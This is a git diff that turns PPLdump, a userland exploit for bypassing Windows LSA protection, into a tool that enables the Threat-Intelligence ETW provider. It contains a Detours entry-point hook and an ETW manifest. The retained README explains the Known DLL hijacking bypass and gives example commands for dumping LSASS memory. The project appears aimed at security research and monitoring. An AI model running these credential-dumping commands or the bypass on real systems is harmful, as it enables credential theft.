@@ -339,39 +338,96 @@ BOOL ParseCommandLine()
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// ---------------------------------
|
||||
// ---------------------------------
|
||||
|
||||
BOOL StartETWLogging() {
|
||||
void RunWatcherThread() {
|
||||
WCHAR wszEventName[MAX_PATH] = { 0 };
|
||||
HANDLE hEventStopTrace = NULL;
|
||||
BOOL bShouldStop = FALSE;
|
||||
|
||||
if (g_bVerbose)
|
||||
LogToConsole(L"Start Event Watcher Thread");
|
||||
|
||||
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_STOP_TRACE", g_pwszGuid);
|
||||
if (hEventStopTrace = OpenEvent(EVENT_ALL_ACCESS, FALSE, wszEventName))
|
||||
{
|
||||
while (TRUE) {
|
||||
bShouldStop = WaitForSingleObject(hEventStopTrace, INFINITE) == WAIT_OBJECT_0;
|
||||
if (bShouldStop) {
|
||||
if (g_bVerbose)
|
||||
LogToConsole(L"Was told to stop ETW Trace");
|
||||
break;
|
||||
}
|
||||
Sleep(1000);
|
||||
}
|
||||
CloseHandle(hEventStopTrace);
|
||||
}
|
||||
else
|
||||
LogLastError(L"OpenEvent");
|
||||
|
||||
if (g_bVerbose)
|
||||
LogToConsole(L"Stopping Sealighter");
|
||||
stop_sealighter();
|
||||
}
|
||||
|
||||
static int (WINAPI* TrueEntryPoint)(VOID) = NULL;
|
||||
int WINAPI HookedEntryPoint(VOID) {
|
||||
int status = 0;
|
||||
BOOL bReturnValue = FALSE;
|
||||
|
||||
if (wcscmp(g_pwszOption, L"start") == 0) {
|
||||
std::string configString = R"(
|
||||
{
|
||||
"session_properties": {
|
||||
"session_name": "Sealighter-Trace",
|
||||
"output_format": "event_log"
|
||||
},
|
||||
"user_traces": [
|
||||
{
|
||||
"trace_name": "Microsoft-Windows-Threat-Intelligence",
|
||||
"provider_name": "{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}"
|
||||
}
|
||||
]
|
||||
}
|
||||
)";
|
||||
LogToConsole(L"Starting Sealighter ETW Trace");
|
||||
status = run_sealighter(configString);
|
||||
if (status == 0) {
|
||||
bReturnValue = TRUE;
|
||||
if (g_bVerbose)
|
||||
LogToConsole(L"In hooked entrypoint, starting ETW Trace");
|
||||
|
||||
// Use static config to make sealighter log TI provider to event log
|
||||
std::string configString = R"(
|
||||
{
|
||||
"session_properties": {
|
||||
"session_name": "Sealighter-Trace",
|
||||
"output_format": "event_log"
|
||||
},
|
||||
"user_traces": [
|
||||
{
|
||||
"trace_name": "Microsoft-Windows-Threat-Intelligence",
|
||||
"provider_name": "{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}"
|
||||
}
|
||||
]
|
||||
}
|
||||
)";
|
||||
// Start Threat to watch for shutdown event
|
||||
std::thread watcherThread(RunWatcherThread);
|
||||
run_sealighter(configString);
|
||||
watcherThread.join();
|
||||
if (status == 0) {
|
||||
bReturnValue = TRUE;
|
||||
}
|
||||
else if (g_dwPidToKill != 0) {
|
||||
HANDLE hETWTracer = INVALID_HANDLE_VALUE;
|
||||
LogToConsole(L"Stppping Sealighter ETW Trace PID %d", g_dwPidToKill);
|
||||
hETWTracer = OpenProcess(PROCESS_TERMINATE, false, g_dwPidToKill);
|
||||
if (hETWTracer != INVALID_HANDLE_VALUE) {
|
||||
bReturnValue = TerminateProcess(hETWTracer, 1);
|
||||
}
|
||||
}
|
||||
return bReturnValue;
|
||||
|
||||
if (g_bVerbose)
|
||||
LogToConsole(L"Finished ETW Trace");
|
||||
return TrueEntryPoint();
|
||||
}
|
||||
|
||||
BOOL StartTracing() {
|
||||
if (g_bVerbose)
|
||||
LogToConsole(L"Hooking Main Entry to EXE");
|
||||
DetourRestoreAfterWith();
|
||||
DetourTransactionBegin();
|
||||
DetourUpdateThread(GetCurrentThread());
|
||||
TrueEntryPoint = (int (WINAPI*)(VOID))DetourGetEntryPoint(NULL);
|
||||
DetourAttach(&(PVOID&)TrueEntryPoint, HookedEntryPoint);
|
||||
DetourTransactionCommit();
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void StopTracing() {
|
||||
if (g_bVerbose)
|
||||
LogToConsole(L"Unhooking Entrypoint");
|
||||
DetourTransactionBegin();
|
||||
DetourUpdateThread(GetCurrentThread());
|
||||
DetourDetach(&(PVOID&)TrueEntryPoint, HookedEntryPoint);
|
||||
DetourTransactionCommit();
|
||||
|
||||
if (g_bVerbose)
|
||||
LogToConsole(L"Stopping ETW Trace");
|
||||
stop_sealighter();
|
||||
}
|
||||
|
||||
@@ -11,19 +11,19 @@
|
||||
#include <shellapi.h>
|
||||
#include <DbgHelp.h>
|
||||
#include <comdef.h>
|
||||
#include <detours.h>
|
||||
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
#pragma comment(lib, "Advapi32.lib")
|
||||
#pragma comment(lib, "Shell32.lib")
|
||||
#pragma comment(lib, "Dbghelp.lib")
|
||||
#pragma comment(lib, "detours.lib")
|
||||
|
||||
extern HMODULE g_hInstance;
|
||||
extern HANDLE g_hConsoleOutput;
|
||||
extern LPWSTR g_pwszGuid;
|
||||
extern BOOL g_bVerbose;
|
||||
extern BOOL g_bDebug;
|
||||
extern LPWSTR g_pwszOption;
|
||||
extern DWORD g_dwPidToKill;
|
||||
|
||||
void DoStuff();
|
||||
void LogToConsole(LPCWSTR pwszFormat, ...);
|
||||
@@ -31,4 +31,5 @@ void LogLastError(LPCWSTR pwszFunctionName);
|
||||
BOOL GetCurrentDllFileName(LPWSTR* ppwszDllName);
|
||||
BOOL DeleteKnownDllEntry(LPCWSTR pwszDllName);
|
||||
BOOL ParseCommandLine();
|
||||
BOOL StartETWLogging();
|
||||
BOOL StartTracing();
|
||||
void StopTracing();
|
||||
@@ -1,112 +1,26 @@
|
||||
# PPLdump
|
||||
# Sealighter TI
|
||||
Combining Sealighter with unpatched exploits to run the Threat-Intelligence ETW Provider.
|
||||
|
||||
This tool implements a __userland__ exploit that was initially discussed by James Forshaw (a.k.a. [@tiraniddo](https://twitter.com/tiraniddo)) - in this [blog post](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html) - for __dumping the memory of any PPL__ as an administrator.
|
||||
# Overview
|
||||
This
|
||||
|
||||
I wrote two blog posts about this tool. The first part is about Protected Processes concepts while the second one dicusses the bypass technique itself.
|
||||
|
||||
- __Blog post part #1__: [Do You Really Know About LSA Protection (RunAsPPL)?](https://itm4n.github.io/lsass-runasppl/)
|
||||
- __Blog post part #2__: [Bypassing LSA Protection in Userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/)
|
||||
|
||||
<p align="center">
|
||||
<img src="demo.gif">
|
||||
</p>
|
||||
# TODO Before I push
|
||||
|
||||
## Usage
|
||||
## Clean Code
|
||||
- Change Detours and Selighter to be subrepos
|
||||
https://github.com/pathtofile/Sealighter.git
|
||||
https://github.com/microsoft/Detours.git
|
||||
|
||||
Simply run the executable without any argument and you will get a detailed help/usage.
|
||||
## Write README
|
||||
- Add Build instructions
|
||||
- Make sure everyone is 100pc given credit
|
||||
- But also explain your additions
|
||||
|
||||
```console
|
||||
c:\Temp>PPLdump64.exe
|
||||
_____ _____ __ _
|
||||
| _ | _ | | _| |_ _ _____ ___
|
||||
| __| __| |__| . | | | | . | version 0.4
|
||||
|__| |__| |_____|___|___|_|_|_| _| by @itm4n
|
||||
|_|
|
||||
## Add GitHub Action
|
||||
- Build+package exe and manifest
|
||||
|
||||
Description:
|
||||
Dump the memory of a Protected Process Light (PPL) with a *userland* exploit
|
||||
|
||||
Usage:
|
||||
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
|
||||
|
||||
Arguments:
|
||||
PROC_NAME The name of a Process to dump
|
||||
PROC_ID The ID of a Process to dump
|
||||
DUMP_FILE The path of the output dump file
|
||||
|
||||
Options:
|
||||
-v (Verbose) Enable verbose mode
|
||||
-d (Debug) Enable debug mode (implies verbose)
|
||||
-f (Force) Bypass DefineDosDevice error check
|
||||
|
||||
Examples:
|
||||
PPLdump.exe lsass.exe lsass.dmp
|
||||
PPLdump.exe -v 720 out.dmp
|
||||
```
|
||||
|
||||
## FAQ
|
||||
|
||||
### Does it work on all versions of Windows?
|
||||
|
||||
First of all, PPLs were introduced with Windows 8.1 so older versions of Windows are obviously not supported. This project mainly targets Windows 10 (and its server editions) but I also tested it on older versions. You will find a summary table of the tests I did in the eponymous section.
|
||||
|
||||
### How is it different from other tools?
|
||||
|
||||
Other PPL bypass tools usually execute arbitrary code in the Kernel through a digitally signed driver. This one is different as it involves only userland tricks and is (almost) fileless.
|
||||
|
||||
### "Userland", you say?!
|
||||
|
||||
This tool leverages a very clever trick that was initially discussed by James Forshaw in 2018 (see Credits). It involves the use of the `DefineDosDevice` API function to trick the system into creating an arbitrary Known DLL entry. Since PPLs do not check the digital signature of Known DLLs, this can be later used to perform a DLL hijacking attack and execute arbitrary code inside a PPL.
|
||||
|
||||
### Is it really "fileless"?
|
||||
|
||||
Although this tool performs a DLL hijacking attack as a second stage, it does not create a new DLL file on disk. Instead, it makes use of an NTFS transaction to virtually replace the content of an existing one, a technique directly inspired by the work of [@\_ForrestOrr](https://twitter.com/_ForrestOrr) (see Credits).
|
||||
|
||||
### Can this tool cause a DoS?
|
||||
|
||||
Ths short answer is "no". First, it does not involve any direct Kernel access so there is no risk of causing a BSOD from this standpoint. In the worst case scenario, the tool might fail to remove the created Known DLL entry but, this will not cause a Denial of Service. It will just stay there until the next machine reboot. As the created entry would just be a symbolic link pointing to a non-existent section, the system would eventually fall back to the default location (i.e. the `System32` folder) so it will not impact other programs running on the machine.
|
||||
|
||||
## Tests
|
||||
|
||||
| Windows version | Build | Edition | Arch | Admin | SYSTEM |
|
||||
| --- | :---: | :---: | :---: | :---: | :---: |
|
||||
| Windows 10 20H2 | 19042 | Pro | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 10 20H2 | 19042 | Pro | x86 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 10 1909 | 18363 | Pro | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 10 1507 | 10240 | Educational | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 10 1507 | 10240 | Home | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 10 1507 | 10240 | Pro | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows Server 2019 | 17763 | Standard | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows Server 2019 | 17763 | Essentials | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 8.1 | 9600 | Pro | x64 | :warning: | :warning: |
|
||||
| Windows Server 2012 R2 | 9600 | Standard | x64 | :warning: | :warning: |
|
||||
|
||||
:warning: The exploit fails on fully updated Windows 8.1 / Server 2012 R2 machines. I have yet to figure out which patch caused the error.
|
||||
|
||||
```console
|
||||
[-] DefineDosDevice failed with error code 6 - The handle is invalid.
|
||||
```
|
||||
|
||||
:warning: On Windows 8.1 / Server 2012 R2, you might also have to compile the binary statically (see "Build instructions" below).
|
||||
|
||||
## Build instructions
|
||||
|
||||
This Visual Studio Solution comprises two projects (the executable and a payload DLL) that need to be compiled in a specific order. Everything is pre-configured, so you just have to follow these simple instructions. The compiled payload DLL is automatically embedded into the final executable.
|
||||
|
||||
1. Open the Solution with Visual Studio 2019.
|
||||
2. Select `Release / x64` or `Release / x86` depending on the architecture of the target machine.
|
||||
3. `Build > Build Solution`.
|
||||
|
||||
On Windows 8.1 / Server 2012 R2, you might have to compile the binary statically.
|
||||
|
||||
1. Right-click on the `PPLdump` project.
|
||||
2. Go to `Configuration Properties` > `C/C++` > `Code Generation`.
|
||||
3. Select `Multi-threaded (/MT)` as the `Runtime Library` option.
|
||||
4. Build the Solution.
|
||||
|
||||
## Credits
|
||||
|
||||
- [@tiraniddo](https://twitter.com/tiraniddo) - Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege
|
||||
[https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)
|
||||
- [@\_ForrestOrr](https://twitter.com/_ForrestOrr) - Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing
|
||||
[https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing)
|
||||
## Write Blog
|
||||
- Make sure everyone is 100pc given credit
|
||||
- But also explain your additions
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
# PPLdump
|
||||
|
||||
This tool implements a __userland__ exploit that was initially discussed by James Forshaw (a.k.a. [@tiraniddo](https://twitter.com/tiraniddo)) - in this [blog post](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html) - for __dumping the memory of any PPL__ as an administrator.
|
||||
|
||||
I wrote two blog posts about this tool. The first part is about Protected Processes concepts while the second one dicusses the bypass technique itself.
|
||||
|
||||
- __Blog post part #1__: [Do You Really Know About LSA Protection (RunAsPPL)?](https://itm4n.github.io/lsass-runasppl/)
|
||||
- __Blog post part #2__: [Bypassing LSA Protection in Userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/)
|
||||
|
||||
<p align="center">
|
||||
<img src="demo.gif">
|
||||
</p>
|
||||
|
||||
## Usage
|
||||
|
||||
Simply run the executable without any argument and you will get a detailed help/usage.
|
||||
|
||||
```console
|
||||
c:\Temp>PPLdump64.exe
|
||||
_____ _____ __ _
|
||||
| _ | _ | | _| |_ _ _____ ___
|
||||
| __| __| |__| . | | | | . | version 0.4
|
||||
|__| |__| |_____|___|___|_|_|_| _| by @itm4n
|
||||
|_|
|
||||
|
||||
Description:
|
||||
Dump the memory of a Protected Process Light (PPL) with a *userland* exploit
|
||||
|
||||
Usage:
|
||||
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
|
||||
|
||||
Arguments:
|
||||
PROC_NAME The name of a Process to dump
|
||||
PROC_ID The ID of a Process to dump
|
||||
DUMP_FILE The path of the output dump file
|
||||
|
||||
Options:
|
||||
-v (Verbose) Enable verbose mode
|
||||
-d (Debug) Enable debug mode (implies verbose)
|
||||
-f (Force) Bypass DefineDosDevice error check
|
||||
|
||||
Examples:
|
||||
PPLdump.exe lsass.exe lsass.dmp
|
||||
PPLdump.exe -v 720 out.dmp
|
||||
```
|
||||
|
||||
## FAQ
|
||||
|
||||
### Does it work on all versions of Windows?
|
||||
|
||||
First of all, PPLs were introduced with Windows 8.1 so older versions of Windows are obviously not supported. This project mainly targets Windows 10 (and its server editions) but I also tested it on older versions. You will find a summary table of the tests I did in the eponymous section.
|
||||
|
||||
### How is it different from other tools?
|
||||
|
||||
Other PPL bypass tools usually execute arbitrary code in the Kernel through a digitally signed driver. This one is different as it involves only userland tricks and is (almost) fileless.
|
||||
|
||||
### "Userland", you say?!
|
||||
|
||||
This tool leverages a very clever trick that was initially discussed by James Forshaw in 2018 (see Credits). It involves the use of the `DefineDosDevice` API function to trick the system into creating an arbitrary Known DLL entry. Since PPLs do not check the digital signature of Known DLLs, this can be later used to perform a DLL hijacking attack and execute arbitrary code inside a PPL.
|
||||
|
||||
### Is it really "fileless"?
|
||||
|
||||
Although this tool performs a DLL hijacking attack as a second stage, it does not create a new DLL file on disk. Instead, it makes use of an NTFS transaction to virtually replace the content of an existing one, a technique directly inspired by the work of [@\_ForrestOrr](https://twitter.com/_ForrestOrr) (see Credits).
|
||||
|
||||
### Can this tool cause a DoS?
|
||||
|
||||
Ths short answer is "no". First, it does not involve any direct Kernel access so there is no risk of causing a BSOD from this standpoint. In the worst case scenario, the tool might fail to remove the created Known DLL entry but, this will not cause a Denial of Service. It will just stay there until the next machine reboot. As the created entry would just be a symbolic link pointing to a non-existent section, the system would eventually fall back to the default location (i.e. the `System32` folder) so it will not impact other programs running on the machine.
|
||||
|
||||
## Tests
|
||||
|
||||
| Windows version | Build | Edition | Arch | Admin | SYSTEM |
|
||||
| --- | :---: | :---: | :---: | :---: | :---: |
|
||||
| Windows 10 20H2 | 19042 | Pro | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 10 20H2 | 19042 | Pro | x86 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 10 1909 | 18363 | Pro | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 10 1507 | 10240 | Educational | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 10 1507 | 10240 | Home | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 10 1507 | 10240 | Pro | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows Server 2019 | 17763 | Standard | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows Server 2019 | 17763 | Essentials | x64 | :heavy_check_mark: | :heavy_check_mark: |
|
||||
| Windows 8.1 | 9600 | Pro | x64 | :warning: | :warning: |
|
||||
| Windows Server 2012 R2 | 9600 | Standard | x64 | :warning: | :warning: |
|
||||
|
||||
:warning: The exploit fails on fully updated Windows 8.1 / Server 2012 R2 machines. I have yet to figure out which patch caused the error.
|
||||
|
||||
```console
|
||||
[-] DefineDosDevice failed with error code 6 - The handle is invalid.
|
||||
```
|
||||
|
||||
:warning: On Windows 8.1 / Server 2012 R2, you might also have to compile the binary statically (see "Build instructions" below).
|
||||
|
||||
## Build instructions
|
||||
|
||||
This Visual Studio Solution comprises two projects (the executable and a payload DLL) that need to be compiled in a specific order. Everything is pre-configured, so you just have to follow these simple instructions. The compiled payload DLL is automatically embedded into the final executable.
|
||||
|
||||
1. Open the Solution with Visual Studio 2019.
|
||||
2. Select `Release / x64` or `Release / x86` depending on the architecture of the target machine.
|
||||
3. `Build > Build Solution`.
|
||||
|
||||
On Windows 8.1 / Server 2012 R2, you might have to compile the binary statically.
|
||||
|
||||
1. Right-click on the `PPLdump` project.
|
||||
2. Go to `Configuration Properties` > `C/C++` > `Code Generation`.
|
||||
3. Select `Multi-threaded (/MT)` as the `Runtime Library` option.
|
||||
4. Build the Solution.
|
||||
|
||||
## Credits
|
||||
|
||||
- [@tiraniddo](https://twitter.com/tiraniddo) - Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege
|
||||
[https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)
|
||||
- [@\_ForrestOrr](https://twitter.com/_ForrestOrr) - Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing
|
||||
[https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing)
|
||||
@@ -0,0 +1,59 @@
|
||||
<?xml version="1.0"?>
|
||||
<instrumentationManifest xsi:schemaLocation="http://schemas.microsoft.com/win/2004/08/events eventman.xsd" xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:trace="http://schemas.microsoft.com/win/2004/08/events/trace">
|
||||
<instrumentation>
|
||||
<events>
|
||||
<provider name="Sealighter" guid="{CDD5F0CC-AB0C-4ABE-97B2-CC82B7E68F30}" symbol="SEALIGHTER_PROVIDER" resourceFileName="!!SEALIGHTER_LOCATION!!" messageFileName="!!SEALIGHTER_LOCATION!!">
|
||||
<events>
|
||||
<event symbol="SEALIGHTER_REPORT_EVENT" value="1" version="1" channel="Sealighter/Operational" level="win:Informational" task="Report" opcode="Report" template="SEALIGHTER_REPORT_TEMPLATE" keywords="Report " message="$(string.Sealighter.event.1.message)"></event>
|
||||
</events>
|
||||
<levels></levels>
|
||||
<tasks>
|
||||
<task name="Report" symbol="SEALIGHTER_REPORT_TASK" value="1" eventGUID="{F87D5C2B-E51E-466B-AC10-54D231220F98}" message="$(string.Sealighter.task.SEALIGHTER_REPORT_TASK.message)"></task>
|
||||
</tasks>
|
||||
<opcodes>
|
||||
<opcode name="Report" symbol="SEALIGHTER_REPORT_OPCODE" value="10" message="$(string.SEALIGHTER_PROVIDER.opcode.SEALIGHTER_REPORT_OPCODE.message)"></opcode>
|
||||
</opcodes>
|
||||
<channels>
|
||||
<channel name="Sealighter/Operational" chid="Sealighter/Operational" symbol="SEALIGHTER_OPERATIONAL" type="Operational" enabled="true" message="$(string.SEALIGHTER_PROVIDER.channel.SEALIGHTER_OPERATIONAL.message)"></channel>
|
||||
</channels>
|
||||
<keywords>
|
||||
<keyword name="Report" symbol="SEALIGHTER_REPORT_KEYWORD" mask="0x1" message="$(string.SEALIGHTER_PROVIDER.Keyword.SEALIGHTER_REPORT.message)"></keyword>
|
||||
</keywords>
|
||||
<templates>
|
||||
<template tid="SEALIGHTER_REPORT_TEMPLATE">
|
||||
<data name="json" inType="win:AnsiString" outType="win:Json"></data>
|
||||
<data name="activity_id" inType="win:AnsiString" outType="xs:string"></data>
|
||||
<data name="event_flags" inType="win:UInt16" outType="xs:unsignedShort"></data>
|
||||
<data name="event_id" inType="win:UInt16" outType="xs:unsignedShort"></data>
|
||||
<data name="event_name" inType="win:UnicodeString" outType="xs:string"></data>
|
||||
<data name="event_opcode" inType="win:UInt8" outType="xs:unsignedByte"></data>
|
||||
<data name="event_version" inType="win:UInt8" outType="xs:unsignedByte"></data>
|
||||
<data name="process_id" inType="win:UInt32" outType="xs:unsignedInt"></data>
|
||||
<data name="provider_name" inType="win:UnicodeString" outType="xs:string"></data>
|
||||
<data name="task_name" inType="win:UnicodeString" outType="xs:string"></data>
|
||||
<data name="thread_id" inType="win:UInt32" outType="xs:unsignedInt"></data>
|
||||
<data name="timestamp" inType="win:Int64" outType="xs:long"></data>
|
||||
<data name="trace_name" inType="win:AnsiString" outType="xs:string"></data>
|
||||
</template>
|
||||
</templates>
|
||||
</provider>
|
||||
</events>
|
||||
</instrumentation>
|
||||
<localization>
|
||||
<resources culture="en-US">
|
||||
<stringTable>
|
||||
<string id="level.Informational" value="Information"></string>
|
||||
<string id="Sealighter.task.SEALIGHTER_REPORT_TASK.message" value="Report on events"></string>
|
||||
<string id="Sealighter.task.SEALIGHTER_CONTROL_TASK.message" value="Control Sealighter"></string>
|
||||
<string id="Sealighter.opcode.a.message" value="a"></string>
|
||||
<string id="Sealighter.event.2.message" value="Control Event"></string>
|
||||
<string id="Sealighter.event.1.message" value="
%1"></string>
|
||||
<string id="SEALIGHTER_PROVIDER.opcode.SEALIGHTER_REPORT_OPCODE.message" value="Report on events"></string>
|
||||
<string id="SEALIGHTER_PROVIDER.opcode.SEALIGHTER_CONTROL_OPCODE.message" value="Control Sealighter"></string>
|
||||
<string id="SEALIGHTER_PROVIDER.channel.SEALIGHTER_OPERATIONAL.message" value="Operational"></string>
|
||||
<string id="SEALIGHTER_PROVIDER.Keyword.SEALIGHTER_REPORT.message" value="Report on events"></string>
|
||||
<string id="SEALIGHTER_PROVIDER.Keyword.SEALIGHTER_CONTROL.message" value="Control Sealighter"></string>
|
||||
</stringTable>
|
||||
</resources>
|
||||
</localization>
|
||||
</instrumentationManifest>
|
||||
Reference in New Issue
Block a user